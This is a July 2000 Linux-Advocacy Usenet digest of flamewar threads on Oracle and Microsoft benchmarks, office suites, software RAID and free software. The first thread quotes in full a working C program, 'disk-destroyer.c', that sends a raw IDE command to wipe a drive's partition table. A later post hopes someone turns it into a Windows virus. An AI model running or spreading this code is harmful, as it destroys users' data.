Linux-Advocacy Digest #140, Volume #28 Mon, 31 Jul 00 20:13:07 EDT
Contents:
Re: Linux can physically destroy your hard drive! ([EMAIL PROTECTED])
Re: Micro$oft retests TPC benchmark ("Ermine Todd")
Re: comparison.lotus/microsoft ("Nick")
Re: Linux can physically destroy your hard drive! (Gary Hallock)
Re: The Dream World of Linux Zealots ("Colin R. Day")
Re: A Case Study of Software RAID Systems (R.E.Ballard ( Rex Ballard ))
Re: comparison.lotus/microsoft (OSguy)
Re: Linux = Yet Another Unix ("Colin R. Day")
Re: Micro$oft retests TPC benchmark ("2 + 2")
Re: Linux can physically destroy your hard drive! (Mark S. Bilk)
Re: Micro$oft retests TPC benchmark (abraxas)
Re: Does VB and SQL work under linux? (Christopher Browne)
Re: Is there such a thing as a free lunch? (Christopher Browne)
----------------------------------------------------------------------------
From: [EMAIL PROTECTED]
Crossposted-To: comp.os.ms-windows.nt.advocacy
Subject: Re: Linux can physically destroy your hard drive!
Date: Mon, 31 Jul 2000 22:57:29 GMT
What a twerp you are drestin.... You know damn well that you posted that
to bash linux, then when every one made you look like the fool that you
are, you back away! The fact is, It was a Linux user that pointed it out
and a laim windows user (you) that tried to bash linux with it.
In article <GXmh5.713$[EMAIL PROTECTED]>,
"Drestin Black" <[EMAIL PROTECTED]> wrote:
> This information was quoted from linux weekly news - I didn't make it
up nor
> do I say anything other than what is here. Use your own brains to
figure the
> rest out. I never said it couldn't run under Windows (but I don't
often run
> as administrator under W2K anyway). Take your anger to lwn.com if you
don't
> like what you read here, I didn't create it.
>
> "Drestin Black" <[EMAIL PROTECTED]> wrote in message
> news:39830c8b$0$2247$[EMAIL PROTECTED]...
> > Remember how we always laughed at people when they'd stay stupid
things
> > like: "I installed this game and it physically destroyed my hard
drive"
> and
> > we'd patiently point out that that's impossible and it's probably a
fried
> > partition and/or FAT table and so on...
> >
> > well, it turns out that Linux onces again "innovates" - it's now
possible
> to
> > actually, physically destroy your hard drive using some simple code
(link
> > provided)...
> >
> > Turning disks to bricks with Linux. Andre Hedrick is the maintainer
of the
> > Linux IDE/ATA subsystem; as such, he works with a piece of code that
is
> > critical to the vast majority of Linux users. He also sits on the
ATA
> > standards committee, and understands well the ups and downs of how
the
> > protocol works.
> > He recently discovered a significant "down." It seems that there are
> certain
> > ATA commands that can be sent to a drive which will cause it to
destroy
> > itself. Andre posted a thing he called disk-destroyer.c (see below)
which
> > will use an IDE command to trash the partition table on a disk, thus
> > rendering all data inaccessible. Apparently, however, there are
other
> > variants possible which will cause the drive to wipe out its
firmware,
> thus
> > turning it into a true brick.
> >
> > And here is the code:
> >
> > /*
> > * gcc -Wall -Wstrict-prototypes -O2 -s -o disk-destroyer
disk-destroyer.c
> > */
> >
> > #include <unistd.h>
> > #include <linux/string.h>
> > #include <string.h>
> > #include <stdlib.h>
> > #include <stdio.h>
> > #include <fcntl.h>
> > #include <errno.h>
> > #include <ctype.h>
> > #include <sys/ioctl.h>
> > #include <sys/shm.h>
> > #include <sys/stat.h>
> > #include <sys/sysmacros.h>
> > #include <sys/time.h>
> > #include <sys/times.h>
> > #include <sys/types.h>
> > #include <linux/hdreg.h>
> > #include <linux/fs.h>
> > #include <linux/major.h>
> >
> > int main(int argc, char *argv[])
> > {
> > unsigned char args[4+512] = {WIN_WRITE,0,0,1,};
> >
> > int fd;
> >
> > if (argc != 2) {
> > printf("usage: %s device\n", argv[0]);
> > return 0;
> > }
> > if ((fd = open(argv[1], O_RDWR|O_NONBLOCK)) == -1) {
> > perror("couldn't open device");
> > return 0;
> > }
> >
> > if (ioctl(fd, HDIO_DRIVE_CMD, &args))
> > perror(" DISK_DESTROYER falied");
> >
> > close(fd);
> > return 0;
> > }
> >
> >
> >
>
>
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
From: "Ermine Todd" <[EMAIL PROTECTED]>
Subject: Re: Micro$oft retests TPC benchmark
Date: Mon, 31 Jul 2000 16:12:58 -0700
Crossposted-To:
comp.lang.java.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy
"fungus" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]...
>
>
<snip>
> FWIW, Oracle has a million dollar challenge since 1998 which
> Microsoft has yet to beat. It comprises a large database, and
> Microsoft has to get within 1% of the performance.
>
>
> http://www.oracle.co.uk/info/news/nov98challenge.html
>
>
This is false. MS did beat the challenge and beat it handily. Larry E has
refused to acknowledge the win and pay up because he claims that MS didn't
do it his way. Note: Larry changed the bet AFTER the fact.
--ET--
------------------------------
From: "Nick" <[EMAIL PROTECTED]>
Subject: Re: comparison.lotus/microsoft
Date: Mon, 31 Jul 2000 23:17:07 GMT
They're both crap. Dump them both and use StarOffice 5.2
Nick
<[EMAIL PROTECTED]> wrote in message news:8m4ta9$jdj$[EMAIL PROTECTED]...
> Seeking comparisons between Lotus Smartsuite Millenium Edition and
> Microsoft Office 2000 for use in a small business.Especially interested
> in comments on datbase and organiser functions plus ease of email
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
------------------------------
Date: Mon, 31 Jul 2000 19:28:25 -0400
From: Gary Hallock <[EMAIL PROTECTED]>
Crossposted-To: comp.os.ms-windows.nt.advocacy
Subject: Re: Linux can physically destroy your hard drive!
Drestin Black wrote:
> you missed the point - this doesn't just trash partion tables or make data
> inaccessible - it actually physically destroys the firmware - as in, IDE
> drive => brick.
>
No, he didn't miss the point. You just chose not to read all of his post.
And you missed the point that you can destroy the firmware on Windows also.
Gary
------------------------------
From: "Colin R. Day" <[EMAIL PROTECTED]>
Subject: Re: The Dream World of Linux Zealots
Date: Mon, 31 Jul 2000 19:46:45 -0400
Tim Palmer wrote:
> >
> > I wonder if Mr. Kulkis would accept research that suggests that
> >the sexes are fundamentally alike in some important psychological areas;
>
> Men are bettre than wommen.
>
At spelling?
Colin Day
------------------------------
From: R.E.Ballard ( Rex Ballard ) <[EMAIL PROTECTED]>
Crossposted-To: comp.os.ms-windows.nt.advocacy
Subject: Re: A Case Study of Software RAID Systems
Date: Mon, 31 Jul 2000 23:43:45 GMT
In article <[EMAIL PROTECTED]>,
[EMAIL PROTECTED] wrote:
> Centuries ago, Nostradamus foresaw a time when abraxas would say:
> >Cool kids do not use software RAID systems. They buy a 20,000 dollar
> >controller and stick a bunch of shelves fulla drives on it. That way
> >the operating system in question ISNT.
>
> Good point; the "software RAID" scenario isn't what you should be
using
> if you actually want a high availability system.
>
> Software RAID may be good for some cool cooked research papers that
> people can blather over, but 'tis better to have the hardware doing
the
> work for you...
Actually, there are some advantages to using RAID in software.
Particularly, you can mount multiple NFS or SMB mount partitions as
redundant partitions. This means that you can survive a single point
of failure against one of the back end servers as well as
communications failures.
For the really demented and paranoid, you can run redundant RAID 1
in software into servers at separate locations. Providing DBR
functions transparently.
At that point, you are getting the benefit of multiple systems,
and you are getting the benefit of redundant access to front-end
hosts, which now gives you the ability to survive both a front-end
failure and a back-end failure.
Beyond this, one typically reverts to redundant transaction monitored
databases.
Generally, when you are running raid-1 in software to a pair of
servers running raid-5 drive arrays, performance is secondary to
availability. You have so many redundant components that even if
you could get absolutely identical configurations, there are so many
composite variables that any attempt at performance measurement is
almost meaningless.
Better to look at component benchmarks such as the bytemarks which
break down the various units of performance (cpu, drive, i/o, message
passing speed, context switching speed...) so that you can use those
metrics to predict the likely impact of a particular change.
Performance engineering generally boils down to identifying which
of 10-12 componants on which of 10-20 subsystems are causing
bottlenecks. I've seen breakneck speed hardware turn around and
shoot itself in the foot by doing things like CGI/PERL or initializing
and finalizing new objects for each new instantiation that killed
performance much more than whether the RAID was EMC or IBM.
> --
> [EMAIL PROTECTED] - <http://www.ntlug.org/~cbbrowne/>
> >Ever heard of .cshrc?
> That's a city in Bosnia. Right?
> (Discussion in comp.os.linux.misc on the intuitiveness of commands.)
>
--
Rex Ballard - Open Source Advocate, Internet
I/T Architect, MIS Director
http://www.open4success.com
Linux - 40 million satisfied users worldwide
and growing at over 5%/month! (recalibrated 7/2/00)
Sent via Deja.com http://www.deja.com/
Before you buy.
------------------------------
From: OSguy <[EMAIL PROTECTED]>
Subject: Re: comparison.lotus/microsoft
Date: Mon, 31 Jul 2000 18:04:16 -0500
[EMAIL PROTECTED] wrote:
> Seeking comparisons between Lotus Smartsuite Millenium Edition and
> Microsoft Office 2000 for use in a small business.Especially interested
> in comments on datbase and organiser functions plus ease of email
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
Applixware 5.0 makes Office 2000 look primitive. Hope that helps.
------------------------------
From: "Colin R. Day" <[EMAIL PROTECTED]>
Crossposted-To: comp.os.linux.alpha
Subject: Re: Linux = Yet Another Unix
Date: Mon, 31 Jul 2000 19:51:37 -0400
Tim Palmer wrote:
> >
> >> Then they could explain to the average user why
> >> Linux STILL does not seamlessly support common hardware, such a S3-based
> >> graphics.
> >
> >Because the vendors haven't published the specs or mad binary drivers?
> >
> >
> >> Explain to the end-user how to compile/install a framebuffer
> >> SVGA kernel.
> >
> >Why?
>
> Because they half to to make their graffics work.
>
I have graphics, and I haven't compiled a framebuffer SVGA kernel.
> >>
> >> Unix has been around for 30 years and has not "revolutionized" the computer
> >> world. It never will because the Unix world is run by cultists rather than
> >> business people.
> >>
> >
> >And what revolutions has Microsoft made?
>
> Window's 98.
>
It's a somewhat improved Windows 95, but it's hardly a revolution.
Colin Day
------------------------------
From: "2 + 2" <[EMAIL PROTECTED]>
Crossposted-To:
comp.lang.java.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Micro$oft retests TPC benchmark
Date: Mon, 31 Jul 2000 19:52:39 -0400
Oracle is moving into SAP's app server space, so SAP is fighting back by
de-emphasizing the use of Oracle's database with its software.
2 + 2
Chad Myers wrote in message ...
>Where do you guys get your information? FUD and Lies 'R US?
>
>You know, it would help if you at least gave a tiny attempt
>and learning the truth before you spout forth your lies and
>BS.
>
>Microsoft Announces Implementation of SAP's HR Solution
>http://www.microsoft.com/PressPass/press/1997/May97/SAPHRpr.asp
>
>Online Seminar: Microsoft's Implementation of SAP R/3
>http://www.microsoft.com/Seminar/1033/19981123_ma_sap_r3implemnt/seminar.ht
m
>(note slide 4: Replaced 12 expensive AS/400 and VAX machines with an
>MS-platform based SAP R/3 solution)
>
>Online Seminar: SQL Server 7: Live in MS's SAP R/3 Implementation
>http://www.microsoft.com/Seminar/1033/19981124sqlconversion(hm)/seminar.htm
>
>Microsoft Moves Its Enterprise Buisiness Operations
>http://www.microsoft.com/SQL/productinfo/msft.htm
>(note the last two paragraphs: SAP R/3 performance doubled)
>
>Case Study: Pennzoil implements SAP R/3 on NT/SQL7
>http://www.microsoft.com/Industry/erp/casestudies/penzoil.asp
>(Pennzoil was so impressed, they did it too)
>
>MS and SAP Launch Enterprise Computing Lab:
>http://www.microsoft.com/PressPass/press/1999/Jul99/ForumPR.asp
>SAP America noticed that many of their customers were implementing
>SAP R/3 on NT/SQL7 and announced more support and an alliance with
>MS
>
>Go home, FUDster Troll.
>
>-Chad
>
>
>"Christopher Browne" <[EMAIL PROTECTED]> wrote in message
>news:[EMAIL PROTECTED]...
>> Centuries ago, Nostradamus foresaw a time when John Hughes would say:
>> >'Add to this the known fact that Microsoft itself doesn't run any of
their
>> >internal databases (hotmail, msn, etc) on Windows and we're left with
what?
>> >Hot air about some new definition of "scalability"....'
>> >
>> >YOU state that Microsoft doesnt run ANY (please proove this) of their
>> >INTERNAL DATABASES (and this). You know the difference between a
database
>> >and a web site? Right?
>>
>> The links are now gone, but Microsoft was evidently a significant
>> sponsor of the effort to get SAP R/3 ported to the AS/400 platform.
>>
>> When Microsoft adopted R/3 as their ERP system, it certainly wouldn't
>> do for them to need to install Unix, the platform they were claiming
>> Windows NT would supplant, in order to run R/3. About 4 years ago,
>> this was quite the 'Laughingstock of the Industry' issue.
>>
>> I expect there's still a significant AS/400 presence at Microsoft,
>> but that is something they'll doubtless continue to keep as private as
>> they can.
>> --
>> [EMAIL PROTECTED] - <http://www.ntlug.org/~cbbrowne/msprobs.html>
>> Rules of the Evil Overlord #84. "I will not have captives of one sex
>> guarded by members of the opposite sex."
>> <http://www.eviloverlord.com/>
>
>
------------------------------
From: [EMAIL PROTECTED] (Mark S. Bilk)
Crossposted-To: comp.os.ms-windows.nt.advocacy,alt.destroy.microsoft
Subject: Re: Linux can physically destroy your hard drive!
Date: 31 Jul 2000 23:59:30 GMT
In article <gVmh5.710$[EMAIL PROTECTED]>,
Drestin Black <[EMAIL PROTECTED]> wrote:
>Being as how I quoted the article almost verbatum from lwn.com - I think
>your anger should be directed there and not at me.
Nevertheless, since the dedicated, lying anti-Linux propagandist
"Drestin Black" posted about this code in an attempt to smear
Linux (since Drestin is neither intelligent nor honest), I suggest
and hope that if anyone builds an MS-Windows virus around it, they
fittingly name it:
*****************************
* *
* The Drestin Black Virus *
* *
*****************************
>"Christopher Browne" <[EMAIL PROTECTED]> wrote in message
>news:[EMAIL PROTECTED]...
>> Centuries ago, Nostradamus foresaw a time when Cihl would say:
>> >Drestin Black wrote:
>> >>
>> >[snipped IDE-drive problem rant]
>> >
>> >As soon as i saw Andre Hedrick post that piece of code (on ldk, that
>> >is) i knew some ignorant Windows-advocate would start blabbing away
>> >about it real soon.
>> >
>> >Fact is, this is mainly a IDE-drive problem. I read the flamewars on
>> >ldk on it as well, and it looks like this is a serious problem with
>> >all IDE-harddisks manufactured since halfway the 90's. It is possible
>> >to overwrite the firmware of any harddisk with a simple low-level
>> >call.
>> >
>> >The Linux kernel development team, and Andre Hedrick in particular, is
>> >probably the first to make a BIG issue out of this. He first proposed
>> >a patch to the kernel, which was excluded by the rest because it was
>> >really not possible to secure all the holes with it. Then he proposed
>> >to pass it to the ATA-committee to include some kind of signing-style
>> >security or a jumper on the HD itself to prevent this from happening
>> >instead.
>>
>> Interesting.
>>
>> The unsuspecting reader that read Drestin's article might be led to
>> believe that something having to do with Linux led to an IDE drive
>> "hack" coming from some teenaged "would-be-disk-destroyer."
>>
>> The above suggests a rather different scenario, that the discoverer
>> was trying to close this "security" hole that the makers of other
>> Fine Operating Systems had either overlooked or ignored.
>>
>> >Biggest problem is still: right now ALL modern OS's have this leak,
>> >including all Windows-variants and all Unix-derivatives.
>> >
>> >PLEASE let's hope none of the h@x0rs writing for Windows 98 (loads of
>> >those!) or BeOS (nobody i know) find a way of putting something like
>> >this in a virus or something. These OS's in particular have NO
>> >security whatsoever against things like this.
>>
>> It's yet another argument in favor of SCSI, and in favor of considering
>> "Pee Cee" hardware to be insecure by design.
>>
>> >Looks like this is the old monitor-refresh-frequencies bug all over
>> >again.
>>
>> It has the difference that it can make large quantities of data
>> instantaneously inaccessible.
>>
>> This would make "ILOVEYOU" look pretty inexpensive...
>> --
>> [EMAIL PROTECTED] - <http://www.ntlug.org/~cbbrowne/>
>> >Ever heard of .cshrc?
>> That's a city in Bosnia. Right?
>> (Discussion in comp.os.linux.misc on the intuitiveness of commands.)
>
>
------------------------------
From: [EMAIL PROTECTED] (abraxas)
Crossposted-To:
comp.lang.java.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Micro$oft retests TPC benchmark
Date: 1 Aug 2000 00:02:01 GMT
In comp.os.linux.advocacy Drestin Black <[EMAIL PROTECTED]> wrote:
>
> "petilon" <[EMAIL PROTECTED]> wrote in message
> news:[EMAIL PROTECTED]...
>> "Mike Byrns" <[EMAIL PROTECTED]> wrote:
>> >
>> > Because Oracle can't parallel over clusters.
>>
>> Oracle Parallel Server is the only RDBMS that supports
>> load balanced clustering.
>>
>> > This allows SQL server to take much better advantage of the
>> > cluster while still gaining the load balance and failover
>> > advantages they intrinsicly provide.
>>
>> Even Microsoft admits SQL Server doesn't support load balanced
>> clustering.
>
> WHAT?! Someone better tell those four servers over there that they are NOT
> part of a cluster and load balanced... it's a miracle!
You are not load balancing SQL.
i.e., you are lying again.
=====yttrx
------------------------------
From: [EMAIL PROTECTED] (Christopher Browne)
Subject: Re: Does VB and SQL work under linux?
Reply-To: [EMAIL PROTECTED]
Date: Tue, 01 Aug 2000 00:04:33 GMT
Centuries ago, Nostradamus foresaw a time when dakota would say:
>[EMAIL PROTECTED] (Christopher Browne) wrote:
>>Centuries ago, Nostradamus foresaw a time when David M. Cook
>>would say:
>>>On Thu, 27 Jul 2000 20:36:19 GMT, YAWN <[EMAIL PROTECTED]> wrote:
>>>
>>>>i am thinking of putting Linux on my laptop (32MB RAM, P200,
>>2.0GB),
>>>>and i am wondering if i can run Visual Basics and SQL in
>>Linux. the
>>>
>
>I don't know about VB but there is a commercial SQL engine out
>there called Pervasive.SQL 2000 that runs natively on Linux.
That's only one engine; there are around 30 relational databases that
use SQL that run on Linux.
--
[EMAIL PROTECTED] - <http://www.ntlug.org/~cbbrowne/rdbms.html>
"What a depressingly stupid machine." -- Marvin
------------------------------
From: [EMAIL PROTECTED] (Christopher Browne)
Crossposted-To:
comp.infosystems.gis,comp.infosystems.www.advocacy,comp.os.ms-windows.advocacy,gnu.misc.discuss
Subject: Re: Is there such a thing as a free lunch?
Reply-To: [EMAIL PROTECTED]
Date: Tue, 01 Aug 2000 00:04:32 GMT
Centuries ago, Nostradamus foresaw a time when Dan Jacobson would say:
>In comp.infosystems.gis, Dimitri Rotow posted controversial opinion #4 etc.
>below, hereby crossposted to relevant groups for truth merit evaluation.
>Thanks.
Well, it starts off with the pretty critical error of mistaking
"price" for "cost," which makes some of the arguments pretty
questionable.
There may be no _price_ put on transferring email from host to host,
but there most certainly is _some_ cost to it. There are various
other valid points made, but I'm not sure they overcome the poor
start...
>"Dimitri Rotow" <[EMAIL PROTECTED]> ¼¶¼g©ó¶l¥ó
>news:[EMAIL PROTECTED]...
>>
>> >
>> >This thread reminds me of an exam question from a 1st year ecology
>> >course: Is there such a thing as a free lunch?
>> >
>> >The short answer is no. The long answer is that you will pay for it some
>> >where along the line with your time maybe or an implosion of your h/w in
>> >a really bad case.
>> >
>>
>> It's a shame it doesn't remind you of other concepts that might have
>> been taught in that first year course such as :
>>
>> a) the idea of the scientific method, where one tests a hypothesis
>> against observation as opposed to opinion, and
>>
>> b) the foolishness of attempting of lumping many complex phenomena
>> within one simplistic slogan.
>>
>> In point of fact, your hypothesis/slogan that there is no such thing
>> as a free lunch fails the observational test. There are lots of "free
>> lunches" in modern computing. Allow me to name just a few that have
>> transformed computing, and even GIS.
>>
>> 1. Zero cost retransmission of email and genuinely free access to
>> Internet. This has been going on since Usenet... where have you been?
>>
>> 2. Linux
>>
>> 3. Apache and similar high-quality freeware
>>
>> 4. Browsers, ranging from Mosaic to Opera to Netscape (source code!
>> wow!) and IE.
>>
>> 5. Truckloads of open source software. Whatever it is you want to
>> code or use, there is likely to be some open source starting point.
>> Wavelet compression? No problem!
>>
>> 6. A seeming infinity of cool, on-line GIS data for the US and even
>> for other countries. If you don't pay US taxes this is genuinely a
>> free lunch.
>>
>> 7. WinAmp (yeah!) ... the most important software development tool in
>> modern computing.
>>
>> To say that free stuff is always trash is just as dumb as saying
>> purchased software is always trash, or that both are always good.
>> Perhaps the least inaccurate one-liner would be to observe that in
>> modern computing markets the old saw "You get what you pay for" no
>> longer applies. There is no longer a direct correlation between the
>> price paid for software and the quality, performance or capabilities
>> delivered by the software.
>>
>> The reasons why this is so require sophisticated discussion that is
>> not reducible to one-liners.
>>
>> To take just one example, the same sorts of management and other
>> business skills that allow a company to reduce procurement and other
>> costs are very often the same sorts of skills that allow a company to
>> achieve better yield from a development organization. At the same
>> time, sloppy business practices that blossom in some large
>> organizations will often simultaneously result in both higher costs
>> and less ability to drive fast and successful development of truly new
>> generation products. This is why younger, more effective companies
>> will often field superior products at a much lower cost than
>> bureacratized, older companies.
>>
>> Modern computing changes so fast that technical and market
>> possibilities can change in six months; however, it can take years to
>> revitalize a bureaucratized company. No wonder that leaner and more
>> agile younger companies can take better advantage of technological
>> progress to deliver superior goods and services at a lower cost.
>>
>> In some cases, it is even cheaper to deliver new goods and services
>> for free (in order to build a user base or achieve some other
>> strategic objective) than it is to invest into other methods of
>> marketing that require users to pay money for goods and services.
>> Freeware is often over-positioned by lazy marketers, but that doesn't
>> mean that it does not have its uses.
>>
>> Consider the success of WinAmp as a case study. Suppose your
>> objective is to sell yourself for a few hundred million dollars to a
>> bigger Internet company. To do that you need a user base in the
>> millions. You could try to raise venture capital to finance a huge
>> advertising campaign to sell millions of units, but that would only
>> dilute your ownership. Why not just give them away? You get vast
>> growth and no dilution of ownership. That's what WinAmp did and the
>> resultant user base and brand ID was worth hundreds of millions of
>> dollars to their acquirer.
>>
>> Note that this was a genuine "free lunch" to users. There is not even
>> the "cost" of ignoring advertising in this case, since WinAmp has zero
>> banners and the like. It's a win-win for all concerned: free ability
>> to play MP3s plus a few hundred million for the founders. Nice deal!
>>
>> So, when criticizing the freeware ecological niche, don't make the
>> mistake of thinking just because you don't understand the business
>> niche it does not make perfect economic sense to people who have the
>> business savvy to make it work.
>>
>> Cheers,
>>
>> Dimitri
>
>
>
--
[EMAIL PROTECTED] - <http://www.ntlug.org/~cbbrowne/>
"What a depressingly stupid machine." -- Marvin
------------------------------
** FOR YOUR REFERENCE **
The service address, to which questions about the list itself and requests
to be added to or deleted from it should be directed, is:
Internet: [EMAIL PROTECTED]
You can send mail to the entire list (and comp.os.linux.advocacy) via:
Internet: [EMAIL PROTECTED]
Linux may be obtained via one of these FTP sites:
ftp.funet.fi pub/Linux
tsx-11.mit.edu pub/linux
sunsite.unc.edu pub/Linux
End of Linux-Advocacy Digest
******************************
